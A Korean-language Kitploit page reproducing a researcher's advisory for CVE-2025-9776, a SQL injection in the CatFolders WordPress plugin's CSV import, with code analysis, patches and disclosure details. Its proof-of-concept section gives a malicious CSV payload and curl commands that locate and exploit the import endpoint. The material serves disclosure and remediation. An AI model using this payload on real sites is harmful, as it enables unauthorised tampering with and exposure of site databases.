Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress 플러그인: CSV 가져오기를 통한 인증된 SQL 인젝션 | POC + 워크스루 | Kitploit
도구/GitHubGitHub/snailsploit/cve-2025-9776
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress 플러그인: CSV 가져오기를 통한 인증된 SQL 인젝션 | POC + 워크스루

저장소 보기
184개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-9776: CatFolders 워드프레스 플러그인의 인증된 SQL 인젝션

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

키워드: CVE-2025-9776, CatFolders 워드프레스 취약점, SQL 인젝션 워드프레스, 인증된 SQL 인젝션, 워드프레스 보안, CSV 가져오기 취약점, 워드프레스 플러그인 익스플로잇, CWE-89, 워드프레스 데이터베이스 공격, 미디어 라이브러리 취약점, 워드프레스 CVE 2025

목차

  • 개요
  • 취약점 상세
  • 기술 분석
  • 개념 증명
  • 대응 가이드
  • CVSS 점수
  • 참고 자료
  • 보안 연락처

개요

CatFolders 워드프레스 플러그인에서 악의적인 CSV 가져오기를 통해 데이터베이스 쿼리를 조작할 수 있는 인증된 SQL 인젝션 취약점이 발견되었습니다. 이 취약점은 Author 이상의 권한을 가진 사용자가 악용할 수 있습니다.

발견자: Kai Aizen (SnailSploit)
공개일: 2025
CVSS 점수: 6.5 (Medium)
CWE: CWE-89 - SQL 인젝션

취약점 상세

설명

CatFolders – Tame Your WordPress Media Library by Category 플러그인의 CSV 가져오기 기능에 인증된 SQL 인젝션 취약점이 존재합니다. 사용자가 제공한 CSV 파일의 attachments 열이 리스트로 분할되어 FolderModel::set_attachments()에 전달됩니다. 이 메서드는 해당 값들을 적절한 살균 처리나 매개변수화 없이 원시 SQL IN (...) 절에 연결합니다.

영향

이 취약점을 통해 Author 이상의 권한을 가진 인증된 공격자는 다음을 수행할 수 있습니다:

  • 임의 SQL 쿼리 실행
  • 폴더-첨부파일 매핑의 대량 삭제 또는 조작
  • 페이로드 및 데이터베이스 구조에 따른 잠재적 데이터 노출
  • 데이터베이스 무결성 및 가용성 손상

영향을 받는 버전

  • 취약한 버전: 2.5.2 이하 모든 버전
  • 패치된 버전: 2.5.3 이상 (공급업체 확인 필요)

CVSS v3.1 점수

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
메트릭값
공격 경로네트워크 (AV:N)
공격 복잡도낮음 (AC:L)
필요한 권한낮음 (PR:L) - Author+
사용자 상호작용없음 (UI:N)
영향 범위변경되지 않음 (S:U)
기밀성없음 (C:N)
무결성낮음 (I:L)
가용성낮음 (A:L)

기술 분석

취약한 코드 경로

CSV 가져오기 워크플로우에 취약점이 존재합니다:

파일: includes/Rest/Controllers/ImportController.php

  1. import_csv 메서드는 업로드된 CSV를 필드별 살균 처리 없이 파싱합니다.
  2. restore_folders()가 다음을 호출합니다:
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

파일: includes/Models/FolderModel.php

  1. set_attachments()는 문자열 연결을 사용하여 원시 SQL을 생성합니다:
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. 각 요소는 정수로 변환되지도 않고 매개변수화되지도 않아 SQL 인젝션이 가능합니다.

공격 경로

Author 이상의 권한(upload_files 기능)을 가진 공격자는 CSV 가져오기 엔드포인트를 통해 악의적인 SQL을 주입할 수 있습니다:

악의적인 CSV 페이로드:

id,name,attachments
1,Test Folder,"1) OR 1=1--"

결과로 생성되는 취약한 쿼리:

SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

이는 IN(...) 절을 벗어나 쿼리 의미를 변경하며, 잠재적으로 모든 행에 영향을 미칠 수 있습니다.

전제 조건

  • 대상 워드프레스 사이트의 Author 이상 계정
  • CatFolders 플러그인이 설치 및 활성화됨
  • REST API 가져오기 엔드포인트에 접근 권한

개념 증명

1단계: REST 네임스페이스 찾기

curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

일반적인 결과: /catf/v1/import-csv

2단계: 악의적인 CSV 준비

catf_inject.csv 파일 생성:

id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

3단계: 공격 실행

NS="/catf/v1"  # 발견된 네임스페이스로 대체

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

예상 응답:

{ "success": true }

영향 시연

서버는 다음 쿼리를 구성하고 실행합니다:

SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

이는 의도된 것보다 광범위한 DELETE/INSERT 작업을 수행할 수 있으며, 종종 전체 데이터베이스의 폴더-첨부파일 관계를 삭제합니다.

안전한 테스트 환경

취약점을 안전하게 관찰하려면 독립형 SQLite 시뮬레이션을 실행하세요:

python3 poc/catfolders_sql_poc.py

이 스크립트는 취약한 쿼리를 출력하고, 악의적인 토큰이 모든 행을 반환하는 반면 매개변수화된 버전은 이를 적절히 차단하는 방법을 보여줍니다.

대응

사이트 관리자를 위한 지침

즉시 조치 필요:

  1. CatFolders를 2.5.3 이상 버전으로 업데이트
  2. Author 이상 권한을 가진 사용자 계정 검토
  3. 영향을 받는 기간 동안 의심스러운 데이터베이스 로그 감사
  4. 예상치 못한 폴더-첨부파일 매핑 변경 확인

개발자를 위한 지침

두 가지 최소한의 강화 단계:

1. 모델 호출 전 ID 살균

- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. set_attachments() 내에서 정수 강제 변환

  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

더 강력한 권장 사항

모든 원시 SQL 연결을 WordPress의 $wpdb->prepare()를 사용한 매개변수화된 쿼리로 대체:

$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

추가적으로:

  • 모든 CSV 필드를 처리 전에 엄격히 검증
  • API 계층에서 입력 유형 검증 구현
  • 가져오기 엔드포인트에 속도 제한 추가
  • 모든 가져오기 작업을 로그에 기록하여 감사 추적 가능하도록 함

패치 파일

완전한 패치는 patch/catfolders_fix.patch에서 확인 가능

저장소 구조

CVE-2025-9776/
├── README.md                    # 이 파일
├── poc/
│   ├── catf_inject.csv         # 악의적인 CSV 페이로드
│   └── catfolders_sql_poc.py   # 안전한 SQLite 시뮬레이션
└── patch/
    └── catfolders_fix.patch    # 권장 수정 사항

타임라인

  • 발견일: 2025
  • 공급업체 통보: Wordfence를 통한 조정된 공개
  • 공개일: 2025
  • 패치 제공: 버전 2.5.3

참고 자료

  • MITRE CVE 항목
  • Wordfence 인텔리전스 권고
  • 워드프레스 플러그인 디렉터리
  • SnailSploit 연구

크레딧

연구자: Kai Aizen (SnailSploit)

공개 과정: Wordfence 버그 바운티 프로그램을 통해 조정됨

윤리적 고려 사항

⚠️ 중요 면책 조항

이 개념 증명은 방어적 연구 및 교육 목적으로만 제공됩니다.

사용 지침

  • ✅ 할 것: 자신의 시스템이나 명시적 서면 승인을 받은 경우에만 테스트
  • ✅ 할 것: 보안 교육 및 인식 제고에 사용
  • ✅ 할 것: 자신의 코드에 수정 사항 구현
  • ❌ 하지 말 것: 허가 없이 시스템 테스트
  • ❌ 하지 말 것: 악의적인 목적으로 사용
  • ❌ 하지 말 것: 프로덕션 환경에서 익스플로잇

법적 고지

허가 없이 컴퓨터 시스템에 접근하는 것은 다음 법률을 포함한 여러 법률을 위반합니다:

  • 미국 컴퓨터 사기 및 남용 방지법(CFAA)
  • 영국 컴퓨터 남용법(Computer Misuse Act)
  • 다른 관할 지역의 유사 법률

본인의 책임 하에 사용하십시오. 연구자와 SnailSploit는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.

연락처

이 취약점에 대한 문의나 추가 정보가 필요하시면:

  • 이메일: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • 웹사이트: snailsploit.com
  • 조직: SnailSploit Security Research

안전을 유지하고 워드프레스 설치를 최신 상태로 유지하세요!

최종 업데이트: 2025년 10월 13일


📚 문서 및 저자

이 프로젝트의 전체 작성 내용, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:

https://snailsploit.com/security-research/cves/cve-2025-9776/

Kai Aizen — 독립적인 공격적 보안 연구자

snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter

동일한 공격. 다른 기반.

도구 다운로드